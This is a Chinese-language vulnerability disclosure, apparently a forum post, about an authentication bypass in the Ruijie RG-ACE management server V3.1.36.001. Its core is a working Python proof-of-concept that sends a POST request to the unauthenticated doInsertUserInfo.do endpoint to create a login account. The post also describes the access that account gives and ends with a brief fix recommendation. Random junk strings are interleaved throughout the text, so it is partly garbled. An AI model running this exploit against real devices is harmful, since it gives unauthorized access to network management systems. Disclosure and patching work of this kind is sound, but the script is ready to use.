锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）


6 {  o9 w/ h1 g4 L+ Q1 l: x测试的具体版本是
产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
5 r$ \. ~) Z: W! W4 n  w编译时间: 201104291730
; W2 x+ |5 P+ z  e6 K

漏洞证明：

3 z% O# s5 W0 p* e! P


: U- r# Y9 P6 `4 `& H& w

执行脚本
! b$ }! c* D3 I: O9 e#! /usr/bin/env python
#coding=gbk
! a9 Z) ^# }  v- L#RG-ACE管理服务器 V3.1.36.001
% I! M( j: k5 F, I( f4 Nimport urllib2, urllib,cookielib
' A2 x! L& H& eurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
, k/ T  Z* k- g# l% Z) Nopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
3 l" Z6 i! m% H6 S* ~9 ?8 ^: L5 [! M2 Aopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
& q/ s* D. K6 m" b* N3 upost=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
("useropermanager","userManager"),
/ b7 Y4 z" N6 t8 v" U' Q, t("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
("trueName","ad"),
$ N/ T# u4 G) e. ^- M("email",""),
("mobilePhone",""),
("officePhone",""),
("addr",""),
, K" y3 h6 e/ v# x* `("submit","确定"))
" h/ u6 ?( _; U2 Surllib2.install_opener(opener)
' V6 ]( D" _# D# zp=urllib2.urlopen(url, urllib.urlencode(post)).read()
! f2 T3 _* K+ a/ G1 xprint "Done"
  R2 Q* L+ p. t8 U0 W4 j* z
登录，连接设备

& l$ }) y. v& R3 }* ?: G



默认的管理员admin权限更大点



. E2 o& `1 q2 \9 Y3 l
- g9 N, Q. ]* h+ Z1 ~- H  r
修复方案：
加强对接口的权限验证

5 e+ F$ M7 H. e